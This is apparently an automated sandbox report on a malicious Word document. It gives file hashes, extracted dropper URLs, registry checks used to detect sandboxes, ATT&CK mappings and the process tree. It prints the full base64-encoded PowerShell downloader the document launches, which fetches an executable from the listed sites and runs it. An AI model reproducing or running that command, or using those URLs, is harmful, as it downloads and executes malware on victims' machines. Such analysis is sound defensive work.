95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343

General

Target

95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc
Size

151KB
MD5

0491199596fec95f256cdf779e7b60e0
SHA1

f49109cb3b8d6b5c78d8b7a0e07bfbb482ac62ce
SHA256

95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343
SHA512

31e0a7a789bb3299be18f72c67482bc591e4378b72a557a266450fb6188a16e460f7218c4d1f1a4e71620c9e31aff3db7796b2496c6af8e5f431bdc666a0a934

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://durganamkeen.com/wp-admin/DgUwPMst/

exe.dropper

http://gfpar.es/blogs/1y3p64_jyelzm-160135920/

exe.dropper

http://yourplasteringneedscovered.co.uk/bfrye/eeURJGsK/

exe.dropper

http://ladiesbazar.in/wp-includes/74yc005bti_pui2akdp-19152074/

exe.dropper

http://engraced.org/wp-content/lwUhCxRzO/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3452	2348	powershell.exe	83

Blocklisted process makes network request 3 IoCs

flow	pid	Process
25	3452	powershell.exe
36	3452	powershell.exe
38	3452	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3484	WINWORD.EXE
3484	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3452	powershell.exe
3452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3452	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3484	WINWORD.EXE
3484	WINWORD.EXE
3484	WINWORD.EXE
3484	WINWORD.EXE
3484	WINWORD.EXE
3484	WINWORD.EXE
3484	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABUADEAMABfADgANAAwADkAPQAnAGoAMwAwADMAXwA4ADgAJwA7ACQAbwA3ADkANAA0AF8AMwAgAD0AIAAnADQAMwA1ACcAOwAkAHEANwAzAF8ANgAwADQAPQAnAGsAMgA0ADgAMQA4ADIAXwAnADsAJABTADUANQBfAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbwA3ADkANAA0AF8AMwArACcALgBlAHgAZQAnADsAJABEADYAMwAxADQAXwA0AD0AJwB0ADcAOAA2AF8AMAAnADsAJABNADMAOAA0ADEANgBfADkAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AGAALgB3AGUAQgBjAGAAbABJAGUAYABOAFQAOwAkAHAANgAzADYAXwA4ADAANgA9ACcAaAB0AHQAcAA6AC8ALwBkAHUAcgBnAGEAbgBhAG0AawBlAGUAbgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABnAFUAdwBQAE0AcwB0AC8AQABoAHQAdABwADoALwAvAGcAZgBwAGEAcgAuAGUAcwAvAGIAbABvAGcAcwAvADEAeQAzAHAANgA0AF8AagB5AGUAbAB6AG0ALQAxADYAMAAxADMANQA5ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB5AG8AdQByAHAAbABhAHMAdABlAHIAaQBuAGcAbgBlAGUAZABzAGMAbwB2AGUAcgBlAGQALgBjAG8ALgB1AGsALwBiAGYAcgB5AGUALwBlAGUAVQBSAEoARwBzAEsALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAaQBlAHMAYgBhAHoAYQByAC4AaQBuAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwA0AHkAYwAwADAANQBiAHQAaQBfAHAAdQBpADIAYQBrAGQAcAAtADEAOQAxADUAMgAwADcANAAvAEAAaAB0AHQAcAA6AC8ALwBlAG4AZwByAGEAYwBlAGQALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBsAHcAVQBoAEMAeABSAHoATwAvACcALgBTAFAAbABJAFQAKAAnAEAAJwApADsAJABzAF8ANgA5ADEAMwAxADIAPQAnAGMAMAA3ADkAOAA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADcAMQAwADEAMgAgAGkAbgAgACQAcAA2ADMANgBfADgAMAA2ACkAewB0AHIAeQB7ACQATQAzADgANAAxADYAXwA5AC4ARABPAFcATgBsAG8AYQBkAGYASQBMAEUAKAAkAEQANwAxADAAMQAyACwAIAAkAFMANQA1AF8AXwBfACkAOwAkAHoANwA2ADAAMQAzAD0AJwBxADEAMQA3ADUAMABfADAAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABTADUANQBfAF8AXwApAC4AbABFAG4AZwB0AGgAIAAtAGcAZQAgADIANQAyADIAMwApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABTADUANQBfAF8AXwA7ACQAcwBfADQAMwAwADkAOAA5AD0AJwBEAF8ANAA5ADkAMAA1ADQAJwA7AGIAcgBlAGEAawA7ACQAUAA5ADIANABfADIAXwAwAD0AJwBtADYANwA2AF8AMwA4ADUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA2AF8AMwA5ADIAPQAnAGgAXwA2ADYAMwAzADYAMQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3452-137-0x0000024796880000-0x00000247968A2000-memory.dmp

Filesize
136KB

Download
memory/3452-141-0x00007FFBA4080000-0x00007FFBA4B41000-memory.dmp

Filesize
10.8MB

Download
memory/3452-140-0x00007FFBA4080000-0x00007FFBA4B41000-memory.dmp

Filesize
10.8MB

Download
memory/3452-139-0x00007FFBA4080000-0x00007FFBA4B41000-memory.dmp

Filesize
10.8MB

Download
memory/3484-138-0x000001B4C11B0000-0x000001B4C11B4000-memory.dmp

Filesize
16KB

Download
memory/3484-135-0x00007FFB8D7B0000-0x00007FFB8D7C0000-memory.dmp

Filesize
64KB

Download
memory/3484-136-0x00007FFB8D7B0000-0x00007FFB8D7C0000-memory.dmp

Filesize
64KB

Download
memory/3484-134-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-130-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-133-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-132-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-131-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-143-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-144-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-145-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download
memory/3484-146-0x00007FFB8F9D0000-0x00007FFB8F9E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads